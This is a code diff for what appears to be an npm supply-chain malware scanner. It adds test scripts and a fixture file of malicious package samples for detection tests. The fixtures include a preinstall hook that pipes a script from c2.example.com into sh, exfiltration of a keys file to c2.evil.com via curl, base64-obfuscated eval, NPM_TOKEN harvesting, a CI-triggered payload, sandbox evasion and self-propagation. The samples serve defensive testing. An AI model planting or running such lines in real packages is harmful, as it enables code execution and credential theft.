|
|
6
6
|
"bin": {
|
|
@@ -26,6 +26,8 @@
|
|
|
26
26
|
"dev": "node cli/cli.js",
|
|
27
27
|
"lint": "echo 'Lint stub'",
|
|
28
28
|
"test": "node --test",
|
|
29
|
+
"test:coverage": "node --experimental-test-coverage --test",
|
|
30
|
+
"test:verbose": "node --test --test-reporter spec",
|
|
29
31
|
"build": "echo 'Build stub'",
|
|
30
32
|
"corpus": "node tests/corpus/run.js"
|
|
31
33
|
},
|
|
@@ -37,7 +39,6 @@
|
|
|
37
39
|
"commander": "^14.0.3",
|
|
38
40
|
"glob": "^13.0.6",
|
|
39
41
|
"js-yaml": "^4.1.1",
|
|
40
|
-
"node-fetch": "^3.3.2",
|
|
41
42
|
"pdf-lib": "^1.17.1",
|
|
42
43
|
"sql.js": "^1.11.0",
|
|
43
44
|
"tar": "^7.5.15"
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
export const MOCK_SCANS = [
|
|
2
|
+
{
|
|
3
|
+
package_name: 'lodash',
|
|
4
|
+
version: '4.17.21',
|
|
5
|
+
findings: [
|
|
6
|
+
{ id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
|
|
7
|
+
{ id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
|
|
8
|
+
],
|
|
9
|
+
},
|
|
10
|
+
];
|
|
11
|
+
|
|
12
|
+
export const SINGLE_SCAN = MOCK_SCANS[0];
|
|
13
|
+
|
|
14
|
+
export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
|
|
15
|
+
|
|
16
|
+
export const MULTI_SEV_SCAN = {
|
|
17
|
+
package_name: 'multi-sev', version: '1.0.0', findings: [
|
|
18
|
+
{ id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
|
|
19
|
+
{ id: 'ATK-002', severity: 'high', title: 'High finding' },
|
|
20
|
+
{ id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
|
|
21
|
+
{ id: 'ATK-004', severity: 'low', title: 'Low finding' },
|
|
22
|
+
],
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
export const ALL_ATK_SCAN = {
|
|
26
|
+
package_name: 'all-atk', version: '1.0.0', findings:
|
|
27
|
+
Array.from({ length: 11 }, (_, i) => ({
|
|
28
|
+
id: `ATK-${String(i + 1).padStart(3, '0')}`,
|
|
29
|
+
atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
|
|
30
|
+
severity: 'medium',
|
|
31
|
+
title: `ATK-${i + 1}`,
|
|
32
|
+
})),
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
export const CLEAN_PACKAGE = {
|
|
36
|
+
name: 'test-pkg',
|
|
37
|
+
version: '1.0.0',
|
|
38
|
+
scripts: { test: 'node test.js' },
|
|
39
|
+
dependencies: { express: '4.0.0' },
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
export const CLEAN_CODE = 'module.exports = function() { return 42 }';
|
|
43
|
+
|
|
44
|
+
export const PREINSTALL_MALICIOUS = {
|
|
45
|
+
scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
|
|
46
|
+
};
|
|
47
|
+
|
|
48
|
+
export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
|
|
49
|
+
|
|
50
|
+
export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
|
|
51
|
+
|
|
52
|
+
export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
|
|
53
|
+
|
|
54
|
+
export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
|
|
55
|
+
|
|
56
|
+
export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
|
|
57
|
+
|
|
58
|
+
export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
|
|
59
|
+
|
|
60
|
+
export const TAMPER_PACKAGE = {
|
|
61
|
+
name: 'lodash',
|
|
62
|
+
repository: { url: 'https://github.com/attacker/lodash-evil.git' },
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
|
|
66
|
+
|
|
67
|
+
export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
|
|
68
|
+
|
|
69
|
+
export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
|